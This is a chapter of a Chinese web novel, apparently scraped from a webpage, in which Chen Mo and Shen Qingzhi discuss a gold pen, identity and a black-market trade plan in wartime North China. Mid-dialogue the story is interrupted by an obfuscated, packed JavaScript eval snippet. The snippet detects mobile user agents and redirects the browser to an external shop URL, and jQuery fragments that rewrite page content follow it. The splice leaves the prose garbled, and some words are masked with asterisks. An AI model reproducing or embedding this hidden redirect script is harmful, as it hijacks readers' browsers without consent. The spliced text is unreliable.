第794章 金笔的重量
作品:《一个人的长征》 夜色像一块反复浸染的旧蓝布,沉沉罩在太行山的脊梁上。
山风顺着赤岸村蜿蜒的土路游走,钻进窗棂缝隙,发出老式风箱拉动时的呜咽。
屋内,一盏油灯将灯芯压到了最低。
豆粒大的火苗在浑浊的空气中顽强地跳动。
陈墨坐在那张掉了漆的榆木桌前。
手里摩挲着那支刚刚从真顾言——或者说现在的“顾老师”那里得来的德国派克金笔。
笔身微凉,镀金的笔夹因为岁月的侵蚀而略显黯淡。
可指腹触上去,依然透着一股旧时代工业品特有的精密与厚重。
这不仅仅是一支笔。
它是那个“顾言”身份的最后一块拼图。
也是那个曾经在柏林醉生梦死、后来在延安洗尽铅华的男人,对他这个“替身”的最终授权。
“在想什么?”
门帘轻轻掀起,带进来一股寒意,混着极淡的皂角味。
沈清芷走了进来。
她换下了保定穿过的那身暗紫色旗袍,穿着八路军的灰色棉服。
衣服臃肿粗糙,可穿在她身上,依然有种别样的韵味
那种韵味不是靠衣料堆砌出来的。
而是长年累月在刀尖上行走、在名利场与生死线之间游走,所沉淀下来的从容与清冷。
她手里端着两个粗瓷碗,碗里是冒着热气的红枣水。
“在想名字。”
陈墨没有抬头,将金笔轻轻**上衣口袋,别在那个贴近心脏的位置。
“今天见到了真的顾言。很奇怪,明明我们长着几乎一样的脸,但我看着他,就像是在看一个完全陌生的路人。而他看着我,却像是在看镜子里的另一个自己。”
沈清芷走到桌边,将瓷碗放下。
红枣的甜香在屋子里弥漫开来,稍微驱散了一些那股子属于战场的血腥气。
“因为你们本来就是两个人。”
沈清芷在他对面坐下,双手捧着温热的碗壁,眼神在灯光下显得有些迷离。
“真顾言是顾家的少爷,是那个在柏林闯了祸需要大姐收拾烂摊子的孩子,现在是延安的孩子王。而你……”
她抬起头,目光直直地刺入陈墨的眼底。
“你是陈墨。”
“是那个在台儿庄**堆里爬出来的疯子,是在北平把汪时和齐燮元**于股掌之间的‘先生’,是在保定把**由美子逼上绝路的幽灵。”
“但这些都不重要。重要的是,这副皮囊下面装着的灵魂是谁。”
陈墨笑了笑,端起碗喝了一口。
红枣水的甜味顺着喉咙流下去,抚慰着他那依旧隐隐作痛的肺叶。
“清芷,你越来越像个政委了。”
“这应该就是所谓的近朱者赤吧。你是不知道,在三官庙的时候,王成政委总想洗我脑壳。”
沈清芷笑了笑。
“不过……”
她随即话锋一转,语气变得务实而干练。
“刚才我去后勤部核对了清单。顾大姐——我是说顾曼青同志,她带来的账目很清楚。这批物资虽然不少,但对于整个晋察冀和129师的需求来说,依然是杯水车薪。”
她从袖口里掏出一张折叠得整整齐齐的信纸,摊在桌上。
“这是我们在保定搜集到的最新情报,关于黑市的。”
陈墨放下碗,眼神瞬间变得锐利。
“说说看。”
“现在华北的物价已经乱了套。”
沈清芷指着纸上密密麻麻的数据。
“日军为了掠夺资源,强制推行‘联合准备银行券’,大肆滥发纸币,导致通货膨胀极其严重。在北平、天津这些大城市,老百姓拿一麻袋票子买不到一袋米。但是……”
她的手指点在了一个特殊的标注上。
“有一种东西,比黄金还硬。”
“铜?”陈墨问。
“对,铜,还有无缝钢管、硝酸钾。”
沈清芷点头。
“自从保定兵工厂被我们搬空,日军的军工生产线受到了重创。他们现在急缺原材料。而我们……我们手里有他们最想要的东西。”
“盘尼西林。”陈墨吐出这个词。
“不止。”
沈清芷的嘴角勾起一抹意味深长的笑。
“还有我们在保定东区冷库废墟里,挖出来的那些‘废铜烂铁’。有些精密的仪器部件,我们用不上,也修不好,但在日本人或者汉奸眼里,那就是能换命的宝贝。”
“你的意思是,我们不仅要卖药,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215533|183140||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还要卖‘破烂’?”
“对。而且要卖出天价。”
沈清芷站起身,走到窗前,看着外面漆黑的夜色。
“庞学礼虽然投诚了,但他以前的那些关系网还在。天津的青帮,北平的黑市,甚至还有不少在**里混日子的骑墙派……”
“这些人现在都看清了风向,急着给自己找退路。我们要利用这条线,把我们的‘废品’变成兵工厂急需的紫铜。”
这正是陈墨之前在师部会议上提出的“地下贸易线”构想。
但构想是一回事。
落地执行又是另一回事!
这需要一个既懂经济,又懂江湖,还能在黑白两道之间游刃有余的人去操盘。
“顾曼青同志怎么说?”陈墨问。
“她原则上同意。但她毕竟是搞党务和正规经济工作的,对于这种带有灰色地带性质的操作,她有些顾虑。”
沈清芷转过身。
“而且,她对我很感兴趣。”
“感兴趣?”
“嗯。”
沈清芷理了理鬓角的碎发。
“我是军统出身,在上海滩混过,在北平潜伏过……”
“我的履历在很多老同志眼里,是不干净的。顾大姐是那种眼睛里揉不得沙子的人,她大概是想看看,我这个旧社会来的女人,到底能不能担得起这份重任。”
陈墨沉默了片刻。
他知道沈清芷说的是实话。
在这个纯洁而坚定的**队伍里。
沈清芷的背景确实显得有些格格不入。
虽然她用无数次出生入死证明了自己的忠诚,但那种刻板印象并不是一朝一夕能消除的。
“明天一早,我去见顾大姐。”
陈墨站起身,走到沈清芷身边,轻轻拍了拍她的肩膀。
“你是我的战友,也是这个计划不可或缺的一环。没有你,那些三教九流的门槛,我们迈不进去。”
沈清芷看着他,眼中的坚硬慢慢融化,露出了一丝柔和。
“不用你替我背书。”
她轻声说道。
“既然我选择了这条路,我就有办法走下去。顾曼青是大家闺秀,也是**者。我会让她明白,有时候,为了光明,我们必须学会如何利用黑暗。”

